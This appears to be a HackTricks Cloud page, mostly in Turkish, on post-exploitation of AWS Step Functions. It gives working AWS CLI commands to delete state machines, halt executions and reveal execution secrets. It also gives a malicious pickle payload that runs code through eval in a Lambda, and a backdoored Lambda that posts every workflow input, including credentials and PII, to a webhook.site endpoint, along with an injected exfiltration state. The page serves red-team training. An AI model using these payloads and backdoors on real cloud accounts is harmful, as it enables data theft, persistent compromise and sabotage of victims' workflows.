AWS - Step Functions Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
Bu izin, bir execution içindeki gizli verileri açığa çıkarmaya olanak tanır. Bunun için Inspection level’ın TRACE olarak ayarlanması ve revealSecrets parametresinin true yapılması gerekir.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Bu izinlere sahip bir saldırgan, state machine’leri, bunların sürümlerini ve alias’larını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen state machine’leri kurtarmak ve geri yüklemek için önemli zaman gerektirebilir. Ayrıca saldırganın izleri örtmesine, adli soruşturmaları engellemesine ve temel otomasyon süreçlerini ve state yapılandırmalarını kaldırarak operasyonları felç etmesine olanak sağlar.
Note
- Bir state machine’i sildiğinizde, ona ait tüm sürümler ve alias’lar da silinir.
- Bir state machine alias’ını silmek, bu alias’a referans veren state machine sürümlerini silmez.
- Şu anda bir veya daha fazla alias tarafından referans verilen bir state machine sürümünü silmek mümkün değildir.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potansiyel Etki: Kritik iş akışlarının aksaması, veri kaybı ve operasyonel kesinti.
states:UpdateMapRun
Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir; izin verilen maksimum alt iş akışı yürütme sayısını artırıp azaltarak servisin kullanılabilirliğini ve performansını doğrudan etkileyebilir. Ek olarak, bir saldırgan izin verilen hata yüzdesi ve sayısını tahrif edebilir; bu değeri 0’a düşürerek bir öğe her başarısız olduğunda tüm Map Run’ın başarısız olmasına neden olabilir; bu da state machine execution’ı doğrudan etkileyerek kritik iş akışlarını potansiyel olarak bozabilir.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potansiyel Etki: Performans düşüşü ve kritik iş akışlarının aksaması.
states:StopExecution
Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütmesini durdurabilir ve devam eden iş akışlarını ve süreçleri aksatabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir.
Warning
Bu eylem express state machines tarafından desteklenmez.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potansiyel Etki: Devam eden iş akışlarının aksaması, operasyonel kesinti ve olası veri bozulması.
states:TagResource, states:UntagResource
Bir saldırgan, Step Functions kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Olası Etki: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution bir data-plane giriş noktasıdır. Eğer bir state machine, saldırgan kontrollü girdiyi tehlikeli bir sink içeren bir task’a iletir (örneğin pickle.loads(base64.b64decode(payload_b64)) yapan bir Lambda), bazen StartExecution’ı state machine’i güncelleme izni olmadan yürütme çıktısı üzerinden code execution ve secret exfiltration’a dönüştürebilirsiniz.
İş akışını ve çağrılan Lambda’yı keşfetme
Eğer states:List* / states:Describe* izinlerine sahipseniz, state machine tanımını listeleyip okuyabilirsiniz:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Eğer ayrıca lambda:GetFunction izniniz de varsa, Lambda kod paketini indirerek girdinin nasıl işlendiğini anlayabilir (ve unsafe deserialization olup olmadığını doğrulayabilirsiniz):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Örnek: execution input içindeki crafted pickle (Python)
Eğer Lambda saldırgan kontrolündeki verileri unpickle ederse, kötü amaçlı bir pickle deserialization sırasında kod çalıştırabilir. Lambda runtime’ta bir Python ifadesini değerlendiren örnek payload:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impact: Görev rolünün sahip olduğu izinler (Secrets Manager reads, S3 writes, KMS decrypt, etc.) hazırlanmış girdiler aracılığıyla erişilebilir hale gelebilir ve sonuç Step Functions yürütme çıktısında döndürülebilir.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Aşağıdaki izinlere sahip bir kullanıcıyı veya rolü ele geçiren bir saldırgan:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…gerçekleştirebilir high-impact and stealthy post-exploitation attack by combining Lambda backdooring with Step Function logic manipulation.
Bu senaryo, kurbanın AWS Step Functions kullanarak hassas girdileri işleyen iş akışlarını orkestre ettiğini varsayar; örneğin credentials, tokens veya PII.
Örnek kurban çağrısı:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Eğer Step Function, LegitBusinessLogic gibi bir Lambda’yı çağıracak şekilde yapılandırıldıysa, saldırgan two stealthy attack variants ile ilerleyebilir:
Lambda fonksiyonunu güncelledi
Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (LegitBusinessLogic) kodunu, giriş verilerini sessizce exfiltrate etmek için değiştirir.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Step Function’a Kötü Amaçlı Bir State Ekle
Alternatif olarak, saldırgan, Step Function tanımını güncelleyerek iş akışının başına bir exfiltration state enjekte edebilir.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Saldırgan, state tanımını daha da gizli olacak şekilde şu şekilde güncelleyebilir: { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } kurban farklı olduğunu fark etmeyecektir
Kurban Kurulumu (Exploit için Bağlam)
- Hassas kullanıcı girdilerini işlemek için bir Step Function (
LegitStateMachine) kullanılır. LegitBusinessLogicgibi bir veya daha fazla Lambda fonksiyonunu çağırır.
Potansiyel Etki:
- Secrets, credentials, API keys ve PII dahil hassas verilerin sessizce exfiltration edilmesi.
- İş akışı yürütümünde görünür hata veya başarısızlık olmaz.
- Lambda kodu veya execution traces denetimi yapılmadan tespiti zor olur.
- Backdoor kodda veya ASL logic’te kaldığı sürece long-term persistence sağlar.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

